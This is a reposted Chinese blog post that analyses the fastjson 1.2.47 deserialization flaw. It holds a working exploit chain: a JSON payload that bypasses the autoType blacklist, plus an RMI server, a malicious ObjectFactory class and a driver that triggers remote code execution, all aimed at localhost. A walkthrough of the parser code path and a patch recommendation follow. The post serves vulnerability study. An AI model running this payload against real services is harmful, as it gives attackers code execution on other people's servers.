• fastjson =< 1.2.47 反序列化漏洞浅析


    fastjson =< 1.2.47 反序列化漏洞浅析

    iiusky 洛米唯熊 今天

    文章出处:

    https://www.03sec.com/3240.shtmlhttps://www.secquan.org/   圈子社区牛逼!!!

     

    作者:iiusky

    #poc

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

     

    最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

    环境准备

    阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。

    ## rmiServer.java

    /* * Copyright sky 2019-07-11 Email:sky@03sec.com. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *      http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package cn.org.javaweb.fastjsontest;
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
    /** * @author sky */public class test3 {
    public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "Exploit","http://localhost:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); }}

    ##Exploit.java

     

    import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;
    public class Exploit implements ObjectFactory {
    @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; }
    public static String exec(String cmd) { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return ""; }
    public static void main(String[] args) { exec("123"); }}

    ##poc.java

    /* * Copyright sky 2019-07-11 Email:sky@03sec.com. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *      http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package cn.org.javaweb.fastjsontest;
    import com.alibaba.fastjson.JSON;
    /** * @author sky */public class test5 {
    public static void main(String[] argv) { String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," + ""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" + ""rmi://localhost:1099/Exploit","autoCommit":true}}}"; JSON.parse(payload); }
    }

     

    其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。

    调用分析

    调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)执行逻辑中:

    首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。

    if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ………… ………… …………if (object != null&&object.getClass().getName().equals(typeName)) {    clazz = object.getClass();} else {     clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); } ………… ………… …………
    Object obj = deserializer.deserialze(this, clazz, fieldName); return obj;
    }
    
    

    fastjson会去检测@type的类是否为黑名单中的类,

    而poc中传入的@typejava.lang.class并非黑名单中的类,所以第一步检测的通过的。

    接下来会把对应的value进行加载,也就是加载java.lang.class

    跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)

    可以看到lexer中的stringVal为poc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.

    接下来将objVal赋值给strVal

    然后执行下面一大串if判断,其中有个if为:
    如果传入的clazz为java.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类,

    跟进loadClass方法

    从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测

    导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。

    com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

    1.2.47版本中的代码

    1.2.48版本中的代码

    ##结语

        文章中有不对的点欢迎指出,勿喷,文明交流

    ##参考

    https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCEhttps://github.com/MagicZer0/fastjson-rce-exploit

    想了解更多 欢迎关注

     

  • 相关阅读:
    ubuntu16.04安装mongodb
    redis 允许远程链接
    mongodb将一个集合的数据加入到另外一个集合
    记录一次字符的坑
    Linux定时任务指定用户
    laravel 除了根目录,所有接口地址都是404
    记录一次php7-mongodb扩展的坑
    nginx 解决跨域
    记录一次部署
    MAC或者linux通过SSH使用PEM文件登录
  • 原文地址:https://www.cnblogs.com/-zhong/p/11176460.html
Copyright © 2020-2023  润新知